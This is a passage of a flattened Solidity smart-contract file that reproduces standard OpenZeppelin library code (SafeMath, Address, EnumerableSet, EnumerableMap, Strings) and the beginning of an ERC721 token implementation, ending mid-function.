* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/utils/EnumerableSet.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
// File: @openzeppelin/contracts/utils/EnumerableMap.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Library for managing an enumerable variant of Solidity's
* https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`]
* type.
*
* Maps have the following properties:
*
* - Entries are added, removed, and checked for existence in constant time
* (O(1)).
* - Entries are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableMap for EnumerableMap.UintToAddressMap;
*
* // Declare a set state variable
* EnumerableMap.UintToAddressMap private myMap;
* }
* ```
*
* As of v3.0.0, only maps of type `uint256 -> address` (`UintToAddressMap`) are
* supported.
*/
library EnumerableMap {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Map type with
// bytes32 keys and values.
// The Map implementation uses private functions, and user-facing
// implementations (such as Uint256ToAddressMap) are just wrappers around
// the underlying Map.
// This means that we can only create new EnumerableMaps for types that fit
// in bytes32.
struct MapEntry {
bytes32 _key;
bytes32 _value;
}
struct Map {
// Storage of map keys and values
MapEntry[] _entries;
// Position of the entry defined by a key in the `entries` array, plus 1
// because index 0 means a key is not in the map.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Adds a key-value pair to a map, or updates the value for an existing
* key. O(1).
*
* Returns true if the key was added to the map, that is if it was not
* already present.
*/
function _set(Map storage map, bytes32 key, bytes32 value) private returns (bool) {
// We read and store the key's index to prevent multiple reads from the same storage slot
uint256 keyIndex = map._indexes[key];
if (keyIndex == 0) { // Equivalent to !contains(map, key)
map._entries.push(MapEntry({ _key: key, _value: value }));
// The entry is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
map._indexes[key] = map._entries.length;
return true;
} else {
map._entries[keyIndex - 1]._value = value;
return false;
}
}
/**
* @dev Removes a key-value pair from a map. O(1).
*
* Returns true if the key was removed from the map, that is if it was present.
*/
function _remove(Map storage map, bytes32 key) private returns (bool) {
// We read and store the key's index to prevent multiple reads from the same storage slot
uint256 keyIndex = map._indexes[key];
if (keyIndex != 0) { // Equivalent to contains(map, key)
// To delete a key-value pair from the _entries array in O(1), we swap the entry to delete with the last one
// in the array, and then remove the last entry (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = keyIndex - 1;
uint256 lastIndex = map._entries.length - 1;
// When the entry to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
MapEntry storage lastEntry = map._entries[lastIndex];
// Move the last entry to the index where the entry to delete is
map._entries[toDeleteIndex] = lastEntry;
// Update the index for the moved entry
map._indexes[lastEntry._key] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved entry was stored
map._entries.pop();
// Delete the index for the deleted slot
delete map._indexes[key];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the key is in the map. O(1).
*/
function _contains(Map storage map, bytes32 key) private view returns (bool) {
return map._indexes[key] != 0;
}
/**
* @dev Returns the number of key-value pairs in the map. O(1).
*/
function _length(Map storage map) private view returns (uint256) {
return map._entries.length;
}
/**
* @dev Returns the key-value pair stored at position `index` in the map. O(1).
*
* Note that there are no guarantees on the ordering of entries inside the
* array, and it may change when more entries are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) {
require(map._entries.length > index, "EnumerableMap: index out of bounds");
MapEntry storage entry = map._entries[index];
return (entry._key, entry._value);
}
/**
* @dev Tries to returns the value associated with `key`. O(1).
* Does not revert if `key` is not in the map.
*/
function _tryGet(Map storage map, bytes32 key) private view returns (bool, bytes32) {
uint256 keyIndex = map._indexes[key];
if (keyIndex == 0) return (false, 0); // Equivalent to contains(map, key)
return (true, map._entries[keyIndex - 1]._value); // All indexes are 1-based
}
/**
* @dev Returns the value associated with `key`. O(1).
*
* Requirements:
*
* - `key` must be in the map.
*/
function _get(Map storage map, bytes32 key) private view returns (bytes32) {
uint256 keyIndex = map._indexes[key];
require(keyIndex != 0, "EnumerableMap: nonexistent key"); // Equivalent to contains(map, key)
return map._entries[keyIndex - 1]._value; // All indexes are 1-based
}
/**
* @dev Same as {_get}, with a custom error message when `key` is not in the map.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {_tryGet}.
*/
function _get(Map storage map, bytes32 key, string memory errorMessage) private view returns (bytes32) {
uint256 keyIndex = map._indexes[key];
require(keyIndex != 0, errorMessage); // Equivalent to contains(map, key)
return map._entries[keyIndex - 1]._value; // All indexes are 1-based
}
// UintToAddressMap
struct UintToAddressMap {
Map _inner;
}
/**
* @dev Adds a key-value pair to a map, or updates the value for an existing
* key. O(1).
*
* Returns true if the key was added to the map, that is if it was not
* already present.
*/
function set(UintToAddressMap storage map, uint256 key, address value) internal returns (bool) {
return _set(map._inner, bytes32(key), bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the key was removed from the map, that is if it was present.
*/
function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) {
return _remove(map._inner, bytes32(key));
}
/**
* @dev Returns true if the key is in the map. O(1).
*/
function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) {
return _contains(map._inner, bytes32(key));
}
/**
* @dev Returns the number of elements in the map. O(1).
*/
function length(UintToAddressMap storage map) internal view returns (uint256) {
return _length(map._inner);
}
/**
* @dev Returns the element stored at position `index` in the set. O(1).
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) {
(bytes32 key, bytes32 value) = _at(map._inner, index);
return (uint256(key), address(uint160(uint256(value))));
}
/**
* @dev Tries to returns the value associated with `key`. O(1).
* Does not revert if `key` is not in the map.
*
* _Available since v3.4._
*/
function tryGet(UintToAddressMap storage map, uint256 key) internal view returns (bool, address) {
(bool success, bytes32 value) = _tryGet(map._inner, bytes32(key));
return (success, address(uint160(uint256(value))));
}
/**
* @dev Returns the value associated with `key`. O(1).
*
* Requirements:
*
* - `key` must be in the map.
*/
function get(UintToAddressMap storage map, uint256 key) internal view returns (address) {
return address(uint160(uint256(_get(map._inner, bytes32(key)))));
}
/**
* @dev Same as {get}, with a custom error message when `key` is not in the map.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryGet}.
*/
function get(UintToAddressMap storage map, uint256 key, string memory errorMessage) internal view returns (address) {
return address(uint160(uint256(_get(map._inner, bytes32(key), errorMessage))));
}
}
// File: @openzeppelin/contracts/utils/Strings.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev String operations.
*/
library Strings {
/**
* @dev Converts a `uint256` to its ASCII `string` representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
uint256 index = digits - 1;
temp = value;
while (temp != 0) {
buffer[index--] = bytes1(uint8(48 + temp % 10));
temp /= 10;
}
return string(buffer);
}
}
// File: @openzeppelin/contracts/token/ERC721/ERC721.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @title ERC721 Non-Fungible Token Standard basic implementation
* @dev see https://eips.ethereum.org/EIPS/eip-721
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable {
using SafeMath for uint256;
using Address for address;
using EnumerableSet for EnumerableSet.UintSet;
using EnumerableMap for EnumerableMap.UintToAddressMap;
using Strings for uint256;
// Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
// which can be also obtained as `IERC721Receiver(0).onERC721Received.selector`
bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;
// Mapping from holder address to their (enumerable) set of owned tokens
mapping (address => EnumerableSet.UintSet) private _holderTokens;
// Enumerable mapping from token ids to their owners
EnumerableMap.UintToAddressMap private _tokenOwners;
// Mapping from token ID to approved address
mapping (uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) private _operatorApprovals;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Optional mapping for token URIs
mapping (uint256 => string) private _tokenURIs;
// Base URI
string private _baseURI;
/*
* bytes4(keccak256('balanceOf(address)')) == 0x70a08231
* bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e
* bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3
* bytes4(keccak256('getApproved(uint256)')) == 0x081812fc
* bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465
* bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5
* bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd
* bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e
* bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde
*
* => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^
* 0xa22cb465 ^ 0xe985e9c5 ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd
*/
bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd;
/*
* bytes4(keccak256('name()')) == 0x06fdde03
* bytes4(keccak256('symbol()')) == 0x95d89b41
* bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd
*
* => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f
*/
bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f;
/*
* bytes4(keccak256('totalSupply()')) == 0x18160ddd
* bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59
* bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7
*
* => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63
*/
bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor (string memory name_, string memory symbol_) public {
_name = name_;
_symbol = symbol_;
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(_INTERFACE_ID_ERC721);
_registerInterface(_INTERFACE_ID_ERC721_METADATA);
_registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _holderTokens[owner].length();
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
return _tokenOwners.get(tokenId, "ERC721: owner query for nonexistent token");
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory _tokenURI = _tokenURIs[tokenId];
string memory base = baseURI();
// If there is no base URI, return the token URI.
if (bytes(base).length == 0) {
return _tokenURI;
}
// If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked).
if (bytes(_tokenURI).length > 0) {
return string(abi.encodePacked(base, _tokenURI));
}
// If there is a baseURI but no tokenURI, concatenate the tokenID to the baseURI.
return string(abi.encodePacked(base, tokenId.toString()));
}
/**
* @dev Returns the base URI set via {_setBaseURI}. This will be
* automatically added as a prefix in {tokenURI} to each token's URI, or
* to the token ID if no specific URI is set for that token ID.
*/
function baseURI() public view virtual returns (string memory) {
return _baseURI;
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
return _holderTokens[owner].at(index);
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
// _tokenOwners are indexed by tokenIds, so .length() returns the number of tokenIds
return _tokenOwners.length();
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
(uint256 tokenId, ) = _tokenOwners.at(index);
return tokenId;
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(_msgSender() == owner || ERC721.isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(address from, address to, uint256 tokenId) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
